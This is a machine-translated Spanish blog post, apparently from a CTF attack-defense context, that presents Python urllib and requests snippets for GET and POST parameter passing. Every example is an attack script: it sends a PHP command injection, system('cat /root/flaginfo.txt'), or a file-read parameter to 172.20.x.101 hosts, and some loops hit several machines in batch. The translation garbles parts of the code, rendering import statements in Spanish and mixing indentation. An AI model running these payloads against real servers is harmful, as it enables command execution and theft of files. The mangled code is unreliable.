Python3 implementa la transferencia de parámetros get y post

Articulo de referencia

Utilice la biblioteca urllib

import urllib.request
import urllib.parse

  1. obtener
    formato de comando de parámetro : urllib.request.urlopen (url)
url = "http://172.20.101.101/reg.php"
payload = {
    "a":"system('cat /root/flaginfo.txt');"
}
data = urllib.parse.urlencode(payload)

response = urllib.request.urlopen(url + "?" +data)
print(response.read().decode())

  1. Formato de comando de parámetro de publicación: urllib.request.urlopen (url, data = post_data.encode ())
url="http://172.20.101.101/post.php"
data={
    "a":"system('cat /root/flaginfo.txt');"
}
payload=urllib.parse.urlencode(data)

response = urllib.request.urlopen(url,data=payload.encode())
print(response.read().decode())
  1. El uso regular de volver a juego para que coincida con cuerdas (obtener el formulario de parámetros pase)
    import re
url = "http://172.20.101.101/about.php"
###get
payload = {
    "f":"/root/flaginfo.txt"
}

data = urllib.parse.urlencode(payload)
#print(data)
response = urllib.request.urlopen(url + "?" +data)
html=response.read().decode()
flag=re.findall('(.*?)<div class="row">',html,re.S)
print(flag)
  1. Recorre la
    forma de obtener
def urllibget(u,payload):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        try:
        		data=urllib.parse.urlencode(payload)
        		response=urllib.request.urlopen(url+u+"?"+data)
        		result=response.read().decode()
        		print(result)
		except:
				pass
				
u="/reg.php"
payload={"a":"system('cat /root/flaginfo.txt');"}
urllibget(u,payload)

forma de poste

def urllibpost(u,p):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        try:
             payload=urllib.parse.urlencode(p)
             response=urllib.request.urlopen(url+u,data=payload.encode())
             result=response.read().decode()
             print(result)
         except:
         	 pass

u="/post.php"
payload={"a":"system('cat /root/flaginfo.txt');"}
urllibpost(u,payload)

Usa la biblioteca de solicitudes

solicitudes de importación

  1. obtener
    formato de comando de parámetro : solicitudes.get (url)
url="http://172.20.101.101"
data="/reg.php?a=system('cat /root/flaginfo.txt');"
url=url+data
req=requests.get(url).content.decode()
print(req)

  1. Formato de comando de transferencia de parámetro de publicación : solicitudes.post (url, data = post_data)
url="http://172.20.101.101/post.php"
post_data={"a":"system('cat /root/flaginfo.txt');"}
req=requests.post(url,data=post_data).content.decode()
print(req)
  1. Utilice la coincidencia regular para hacer coincidir cadenas (obtener tipo) formato de comando de
    importación re
    : resultado = re.findall ('coincide con las condiciones de la cadena', html, re.S)
url="http://172.20.101.101"
data="/about.php?f=/root/flaginfo.txt"
payload=url+data
req=requests.get(payload).content.decode()
result=re.findall('(.*?)<div class="row">',req,re.S)
print(result)
  1. Recorre el
    tipo de obtención
def getc(payload):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        url=url+payload
        try:
            req=requests.get(url).content.decode()
            print(req)
        except:
            pass
payload="/reg.php?a=system('cat /root/flaginfo.txt');"
getc(payload)

tipo de mensaje

def postc(u,post_data):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        try:
            url=url+u
            req=requests.post(url,data=post_data).content.decode()
            print(req)
        except:
            pass
u="/post.php"
post_data={"a":"system('cat /root/flaginfo.txt');"}
postc(u,post_data)

Supongo que te gusta

Origin blog.csdn.net/mcmuyanga/article/details/114532245
Recomendado
Clasificación